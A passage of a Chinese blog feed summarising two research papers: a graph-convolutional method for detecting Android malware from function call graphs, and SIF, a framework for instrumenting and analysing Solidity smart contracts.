style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是 度矩阵<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>D</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{D}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9467699999999999em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02778em;">D</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;">^</span></span></span></span></span></span></span></span></span>的元素,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">a_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.716668em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>是 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>A</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{A}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9467699999999999em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault">A</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.11110999999999999em;">^</span></span></span></span></span></span></span></span></span> 的元素。</p><p>本文 开发了一种从E-FCG中学习行为级别特征的算法,称为BLFE。在训练阶段,BLFE尝试训练具有两个组成部分的模型:</p><ul><li>特征提取器,由几个图形卷积层和一个 ReadOut层组成</li><li>分类器,由全连接(fully-connected)的神经网络实现</li></ul><p>在 ReadOut层 中,获得最后一个图形卷积层的输出,并计算矩阵中<mark>每一列</mark>的总和,即行为级别特征向量:</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>F</mi><mi>i</mi></msub><mo>=</mo><munder><mo>∑</mo><mi>i</mi></munder><msub><mi>H</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">F_i = \sum_i H_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.327674em;vertical-align:-1.277669em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0500050000000003em;"><span style="top:-1.872331em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.277669em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.08125em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>在训练期间,通过最小化以下 损失函数来迭代更新整个模型:</p><ul><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>y</mi><mi>i</mi></msub><mi mathvariant="normal">’</mi></mrow><annotation encoding="application/x-tex">y_{i}’</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">’</span></span></span></span>:代表基本真值(ground truth)</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>y</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">y_{i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>:表示预测值</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>w</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">w_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>:表示权重</li><li>第一项 是交叉熵误差,第二项是为了缓解过度拟合</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>L</mi><mo>=</mo><mo>−</mo><mi>E</mi><mo stretchy="false">(</mo><munder><mo>∑</mo><mi>i</mi></munder><msub><mi>y</mi><mi>i</mi></msub><mi mathvariant="normal">’</mi><mi>l</mi><mi>o</mi><mi>g</mi><mo stretchy="false">(</mo><msub><mi>y</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>+</mo><mi>λ</mi><munder><mo>∑</mo><mi>i</mi></munder><mi mathvariant="normal">∣</mi><msubsup><mi>w</mi><mi>i</mi><mn>2</mn></msubsup><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">L = - E( \sum_i y_{i}’ log(y_i)) + \lambda \sum_i |w_i^2|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">L</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.327674em;vertical-align:-1.277669em;"></span><span class="mord">−</span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mopen">(</span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0500050000000003em;"><span style="top:-1.872331em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.277669em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">’</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.327674em;vertical-align:-1.277669em;"></span><span class="mord mathdefault">λ</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0500050000000003em;"><span style="top:-1.872331em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.277669em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord">∣</span></span></span></span></span></p><p>在测试阶段,BLFE处理E-FCG,并告知相应的应用程序是否恶意。BLFE的详细信息在算法1中给出,其中<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>w</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">w_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">m</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示模型中的权重,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>η</mi></mrow><annotation encoding="application/x-tex">\eta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span></span></span></span>表示学习率。</p><p>一旦对模型进行了良好的训练,就可以使用特征提取器从E-FCG学习行为级别的特征。<br />借助这些特征,可以将其提供给任何分类器(例如SVM和KNN)或某些高级恶意软件检测方法 进行应用分类。</p><h4 id="the-blfe-algorithm"><a class="markdownIt-Anchor" href="#the-blfe-algorithm"></a> The BLFE Algorithm</h4><p><strong>Stage I: Initialization</strong></p><ul><li>创建包含所有应用程序的语料库;</li><li>通过 函数嵌入为每个函数找到向量表示;</li><li>为训练数据集中的应用构建E-FCG;</li></ul><p><strong>Stage II: Training</strong></p><ul><li>在每个epoch:<ul><li>抽样一批 E-FCG</li><li>使用梯度下降更新 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>w</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">w_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">m</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>,即 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>w</mi><mi>m</mi></msub><mo>←</mo><msub><mi>w</mi><mi>m</mi></msub><mo>−</mo><mi>η</mi><msub><mo>▽</mo><msub><mi>w</mi><mi>m</mi></msub></msub><mi>L</mi></mrow><annotation encoding="application/x-tex">w_m \leftarrow w_m - \eta \bigtriangledown_{w_m}L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">m</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.02691em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">m</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.9445399999999999em;vertical-align:-0.2501em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin"><span class="mbin">▽</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139199999999997em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.16454285714285719em;"><span style="top:-2.357em;margin-left:-0.02691em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight">m</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.2501em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">L</span></span></span></span></li></ul></li></ul><p><strong>Stage III: Test</strong></p><ul><li>对每个应用重复以下操作:<ul><li>为该应用构建E-FCG</li><li>根据E-FCG做出预测</li></ul></li></ul><h2 id="四-实验评估"><a class="markdownIt-Anchor" href="#四-实验评估"></a> 四、实验评估</h2><h3 id="dataset-settings"><a class="markdownIt-Anchor" href="#dataset-settings"></a> Dataset & settings</h3><p>在本文实验中,使用了一个大型数据集包含43310个样本, 其中7362个样本为恶意样本,其余为良性样本。</p><p>为了提取诸如许可要求, intent actions 和API调用之类的静态功能,</p><ul><li>将每个apk文件解压缩为两个文件:AndroidManifest.xml和classes.dex。</li><li>通过解析AndroidManifest.xml提取权限要求和意图操作。</li><li>将classes.dex反编译为一系列smali文件后,获得有关函数调用的信息。</li></ul><p>要构建FCG,只需要创建一个邻接矩阵,其中每个元素 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>a</mi><mo stretchy="false">[</mo><mi>i</mi><mo separator="true">,</mo><mi>j</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">a[i, j]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">a</span><span class="mopen">[</span><span class="mord mathdefault">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.05724em;">j</span><span class="mclose">]</span></span></span></span></p><ul><li>如果函数 i 调用函数 j ,则 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">a_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.716668em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>为1,否则为0。</li></ul><p>为了获得节点属性,通过将节点属性分配给相应的FCG来构造E-FCG</p><p>在实验中,每个函数的矢量表示都是100维的,并且GCN模型具有三个卷积层,每层包含100、100和60个神经元。因此,行为级别特征的矢量表示为60维</p><p>为了实现BLFE算法,构建了一个具有 两个隐藏层 的全连接神经网络,该神经网络充当了分类器 并与基于 GCN的特征提取器相连。</p><h3 id="effects-of-function-embedding"><a class="markdownIt-Anchor" href="#effects-of-function-embedding"></a> Effects of function embedding</h3><p>为了显示函数嵌入的效果,首先将实验中的函数嵌入2D空间,然后在图4中显示三个函数的表示。函数getLongitude()和getLatitude()都用于获取位置,并且它们通常在应用程序中一起调用。因此,它们在嵌入式 空间中占据着紧密的空间位置。<br />函数setHomeActionContentDescription()用于设置Home/Up操作的备用描述,它与getLongitude()和getLatitude完全不同。</p><center>Illustration of function embedding<p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206153503.png" alt="image-20210206153503901" /></p><p>因此,其在嵌入式空间中的位置与getLongitude和getLatitude的位置相距甚远,并且与setHomeActionContentDescription和getLongitude或getLatitude对应的向量之间的角度较大。</p><h3 id="convergence-of-the-blfe-algorithm"><a class="markdownIt-Anchor" href="#convergence-of-the-blfe-algorithm"></a> Convergence of the BLFE algorithm</h3><p>BLFE是一种迭代算法,其收敛性已通过我们的实验验证。为了说明起见,图5描绘了某个实验中的损耗迭代(4)。为了便于描述,图5的垂直轴提供了20次迭代的损耗平均值。因此,水平轴上的每个点代表20次迭代。从该图可以看出,训练期间的损失迅速减少。从水平轴的第100个点开始,损耗一直接近于零,并且BLFE算法收敛。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206153621.png" alt="image-20210206153621004" /></p><center>The iterations of loss (4) during training.<h3 id="detection-performance"><a class="markdownIt-Anchor" href="#detection-performance"></a> Detection performance</h3><p>为了评估本方法方法获得的特征,将其应用于七个主流分类器:决策树(DT),k最近邻(KNN),逻辑回归(LR),随机森林(RF),支持向量机(SVM),<br />多层感知器(MLP)和CNN。<br />为了进行比较,还考虑了传统的静态功能,包括:</p><p>106个敏感的API调用(2)147个权限和126个意图动作(用B表示)的组合,以及<br />(3)106个敏感API调用,147个权限和126个意图操作(用C表示)的组合。<br />这些静态功能的效果已在现有文献中得到验证(例如[5,6,8])。</p><p>这些静态特征的实验结果也在表1中给出。请注意,我们使用<strong>5倍交叉验证</strong>来准确评估我们的特征以及特征组A,B和C的性能。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206153851.png" alt="image-20210206153851563" /></p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>图匹配</tag>
</tags>
</entry>
<entry>
<title>SIF: A Framework for Solidity Contract Instrumentation and Analysis</title>
<link href="/2021/01107033a6.html"/>
<url>/2021/01107033a6.html</url>
<content type="html"><![CDATA[<h1 id="sif"><a class="markdownIt-Anchor" href="#sif"></a> SIF</h1><p>论文题目: <a href="https://ieeexplore.ieee.org/abstract/document/8945726">SIF:A Framework for Solidity Contract Instrumentation and Analysis</a> —— Solidity合约检测和分析框架</p><p>论文引用:Peng C, Akca S, Rajan A. SIF: A framework for solidity contract instrumentation and analysis[C]//2019 26th Asia-Pacific Software Engineering Conference (APSEC). IEEE, 2019: 466-473.</p><p>代码开源:<a href="https://github.com/chao-peng/SIF">chao-peng/SIF</a></p><h2 id="背景"><a class="markdownIt-Anchor" href="#背景"></a> 背景</h2><p>传统的编程语言通常有综合框架支持,用于代码检测、监视、优化和代码生成的支持,例如C/C ++的LLVM / Clang [4])。Solidity这样的智能合约程序设计语言缺少此类的框架支持。</p><p>分析Solidity合同安全漏洞的现有工作和工具主要基于是智能合约的字节码,或将Solidity代码翻译为可执行安全性分析的其他语言或中间形式。比如,Oyente [5]分析来自Solidity编译器的字节码并成功报告漏洞的存在。但是,它缺乏跟踪和定位Solidity代码中的错误的能力。</p><p>Zeus [10]将智能合约转换为LLVM位代码,但不支持完整的Solidity语法,包括throw语句,自销毁(self-destructs),虚函数和汇编代码块。</p><p>这些技术虽然可以有效地检测安全漏洞,但它们并不是通用的代码检测和分析工具。</p><p>结果是,使用现有技术很难构建目的不同于检测安全漏洞的程序分析工具。在这些技术中,Solidity源代码的可追溯性也是一个常见问题。本文作者提出了一种通用分析框架,可以满足对Solidity合同的这种需求。</p><p>为了实现此目标,我们设计并实施具有以下功能的Solidity Instrumentation Framework(SIF)</p><ul><li>提供一个可供用户查询Solidity代码的抽象语法树(AST)的接口</li><li>预定义的helper 函数支持代码检测、转换,同时可以修改AST。</li><li>支持从AST生成Solidity代码</li></ul><p>我们通过使用SIF框架实现7种不同的Solidity合同工具或实用程序来证明SIF框架在支持代码检测和分析方面的通用性。<br />其中四个工具查询Solidity抽象语法树(AST)以提供有关合同代码的信息,而其他三个工具则使用AST修改代码。下面提供了这些工具的简要说明</p><ul><li>Function Listing:列出了所有函数定义,包括函数名称,返回列表,参数列表以及它们所属的协定。在总结和审查Solidity合同时很有用。</li><li>AST Diff:一种语法差异工具(syntactic diff tool),用于在AST级别比较智能合约。它忽略注释,空格和空白行。</li><li>Call Graph Generator:调用图生成器生成函数调用图,以描述Solidity合同中的函数之间的调用关系。节点代表功能,边代表调用关系。在理解和审查智能合约时很有用。</li><li><mark>Control Flow Graph Generato</mark>r:控制流图生成器生成Solidity合同中控制流的图形表示。<br />控制流程图在静态分析和程序优化中非常有用。</li><li>SIF Rename :可以轻松地重命名现有标识符。所有对指定标识符的定义和引用将更改为提供的新名称</li><li>Fault Seeder:允许开发人员人为地在智能合约中植入错误。该工具目前支持3种常见的错误/漏洞类型。植入的错误可用于评估发现漏洞的测试或验证工具的有效性。</li><li>Assertion Analyser:断言分析器检查智能合约的所有AST节点,并确定该节点是否易受漏洞影响,例如被零除,上溢和下溢。断言将通过该工具插入易受这些漏洞影响的合同位置,在修改后的合同执行期间将检查断言。</li></ul><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>SIF为Solidity合同开发人员和测试人员提供支持,以建立用于分析,理解,诊断,优化和代码生成的源代码级技术。</p><p>通过在框架之上构建实用工具并在以太坊网络上部署的1838个真实智能合约上运行它们,作者展示了该框架的可行性和适用性。</p><p>通用框架SIF使用C ++实现,SIF支持整个Solidity语法,最高版本为0.5.3,该框架还提供了从AST生成Solidity代码的功能。</p><p>SIF的工作流程如图1所示。SIF从 Solidity 编译器生成的AST of Solidity代码开始。然后,它接受有关查询和/或所需修改的用户说明。然后,框架收集所需的查询信息或对AST进行修改,最后从AST生成Solidity代码。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210102153904.png" alt="image-20210102153903991" /></p><h2 id="sif-design"><a class="markdownIt-Anchor" href="#sif-design"></a> SIF Design</h2><p>SIF的操作分为三个阶段:</p><ol><li>第1阶段 着重于将AST节点表示为具有检索和修改节点信息的方法的C ++类。</li><li>第2阶段 与 用户定义的查询和/或工具功能进行交互,并遍历AST以执行所需的操作。</li><li>第3阶段从AST生成Solidity代码。我们将在本节的其余部分中详细讨论每个阶段。</li></ol><p>我们使用清单1中显示的名为Request的示例结构定义示例,其中包含一个数据元素和一个方法,以说明不同的阶段。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs C++"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Request</span> {</span><br>bytes data;<br><span class="hljs-built_in">function</span> (bytes memory) external callback;<br>}<br></code></pre></td></tr></table></figure><h3 id="ast-representation"><a class="markdownIt-Anchor" href="#ast-representation"></a> AST Representation</h3><p>Solidity编译器从Solidity代码以两种格式生成AST:</p><ul><li>纯文本</li><li>JSON(JavaScript对象表示法,结构化数据格式)。</li></ul><p>为了使我们的代码检测工具通用且易于使用,我们将C++类用作中间AST表示形式。</p><p>给定Solidity AST,SIF首先遍历AST,并为每个节点实例化具有所有相关信息的该节点类型的类。<br />图2显示了一个示例AST中出现的结构定义。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210102154338.png" alt="image-20210102154338155" /></p><p>这些类在其数据字段中包含有关AST节点的信息,并提供查询和修改数据的方法。<br />清单2 显示了AST中的结构定义节点的C ++类表示。 C ++类提供了获取结构名称,将其设置为其他名称,查询结构中字段数,获取特定字段,添加,删除和更新字段的方法。这些方法有助于查询和修改AST节点。</p><h3 id="相关工作"><a class="markdownIt-Anchor" href="#相关工作"></a> 相关工作</h3><p>过去几年中出现了几种用于智能合约的静态分析和漏洞检测工具。我们介绍并讨论有关漏洞检测,代码生成,查询和检测的Solidity合同的现有工作。</p><p>1、漏洞检测:许多现有技术都依靠字节码分析来检查潜在的漏洞[3],[5] – [7]。<br 